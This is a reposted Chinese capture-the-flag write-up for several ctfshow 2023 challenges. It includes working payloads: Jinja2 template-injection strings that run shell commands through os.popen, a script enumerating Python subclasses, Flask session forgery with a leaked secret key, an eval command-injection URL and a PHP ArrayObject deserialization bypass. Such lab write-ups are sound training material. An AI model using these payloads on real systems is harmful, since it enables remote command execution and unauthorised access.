0


ctfshow-2023愚人杯部分wp

目录



热身

脑筋急转弯

e5e00ca0929c4f359eacb30c85a6dedd.png

web

easy_signin

没有看url,直接F12看源码了,所以多做了一会儿,其实是任意文件读取,img参数传的是base64编码后的文件名,图片源是base64编码后的文件。

8c0ee74011ec479abab5d14bdc4d2e35.png

c2b63a5012ff4c88be2384cba1255771.png

传入index,php的base64编码aW5kZXgucGhw,得到index.php,其中包含flag

c8b73c11c21348b9a244dc7ea97add1d.png

2f7f8b78558948188d6b0db1a462ecd1.png

easy_ssti

a17daa1156a442f0ab7ac4c07400971b.png

给了提示下载app.zip

30afc91a3f324a09a507b36464a7f270.png

在hello路径后存在ssti注入

简单记录下ssti现阶段的学习步骤

首先ssti注入如何通过已加载类的功能(如果没有就查找父类的其它子类)

e1d2d021b85847fe80ebdc798a99f312.png

3d9a07cd9a2f43d8a9330aaed4bd1287.png

文件读取:_frozen_imporlib_external.FileLoader

import requests
url="http://6d312c5b-0236-485b-b16c-44edf9d8e191.challenge.ctf.show/hello/"
for i in range(500):
    # url=url+"{{[].__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
    url=url+"{{[].__class__.__base__.__subclasses__()["+str(i)+"]}}"
    try:
        re=requests.get(url)
        if(re.status_code==200):
            if '_frozen_importlib_external.FileLoader' in re.text:
                print(i)
        # else:
        #     print(re.text)
    except:
        pass

其中url的组成是[]、''基本类型,然后就是根据魔术方法, base__是查找父类,__subclasses()是查找子类,[i]是子类中第几个类

由此通过脚本遍历去获取子类中多少是含有目标类名。

15f6a95ac8274c08b7250833f5226fca.png

使用"get_data"

本题执行:

{{[].__class__.__base__.__subclasses__()[99]["get_data"](0,"app.py")}}

42923cd1b0434bfba937850523208dea.png

但如果得到/flag由于斜杆的原因会导致url地址错误而不是传参。因此想到了前面做题Linux命令执行绕过 /不是简简单单(参见我前一篇NKctfwp),所以寻找到lipsum

这里用到了flask内置函数lipsum(还有url_for可以直接在payload替换)然后payload:

{{lipsum.__globals__.os.popen('cat `echo "L2ZsYWc="|base64 -d`').read()}}

其实这里还可以同文件读取 去找__builtins__,但用过脚本跑好像没有eval函数,后面做出来也就没深究了。下次ban了lipsum再学(不是)

easy_flask

17dd74f706b047bcaf990955c8291fb2.png

随便注册一个账号进去发现部分源码,

34b09a9050124607b30268c15ed4fa30.png

发现了其中的密钥,并且查看session发现其中有含ey的字符串

25264390a08845f29cb1192302d15b79.png

结果拿着半截开跑,去jwt官网解密,格式都不对,硬搜,小半天过去了

然后发现是flask好像不对 自己写了一个(flask环境以前装过)

from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response

app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/')
def login():
    session['loggedin'] = True
    session['username'] = "admin"
    session['role'] = "admin"
    return "1"

if __name__ == "__main__":
    app.run('127.0.0.1')

访问自己127.0.0.1,拿到session去替换题目的session成功以admin权限进入

发现能够任意下载,但没有/flag,所以尝试命令执行的方法

c299448b6aa44588a1a980880c4d998b.png

下载源码,发现可调用eval函数

01b39c4e2e8247329870252f3fafbced.png

一开始不知到eval函数如何远程命令执行,下面是找到的方法(注意用popen,system没有回显)

import("os").popen("ls /").read()

4a732ee72807433c9db9b53c8f8feb3d.png

Payload:

hello/?eval=__import__("os").popen("cat%20/flag_is_h3re").read()

Crypto:

easy_base

4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35

双修!先从最简单的密码学开始。

题目base,然后密文只有数字和字母A-F

先base16解码,再base32解码,再base64解码


复现

easy_php

eeb38086b6c74f218cd5fb0fcb6c4ad8.png

第一眼看以为是关于绕过wakeup+特殊字符的php变量名传参

结果怎么也找不到相关php变量名相关知识和网页。于是就放弃了。。

复盘时发现别人也没做什么就是url编码了,但需要注意两点:

1.仅需要对变量名url编码

2.使用URIComponent,如下图:

7ac56c937b684146ac4bc1a51f8bcf81.png

然后就是传参进行反序列化,但单单寻常的方式传入并不能有任何反应,所以下面也是知识盲区

"ctfshow类未实现serializable接口",所以 找php中内置的实现了Serializable接口的类,这里使用的是

<?php

class ctfshow{
    public $ctfshow = 'whoami';
}
$a= new ArrayObject();
$a -> a = new ctfshow();
echo serialize($a);
?>

 //C:11:"ArrayObject":74:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}

注意用php在线不能输出同样结果,我用的php7.3.4

cd94d3e6e9a9408e8f29cc9abdeddba9.png

输出的直接就是C开头的字符串,所以绕过了正则(好像还能低版本可以在O或a的冒号后的数字前可以加一个+来进行绕过)

所以最终payload:

C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}
标签: flask python

本文转载自: https://blog.csdn.net/adorkablezhenbai/article/details/129916976
版权归原作者 adorkablezhenbai 所有, 如有侵权,请联系我们删除。

“ctfshow-2023愚人杯部分wp”的评论:

还没有评论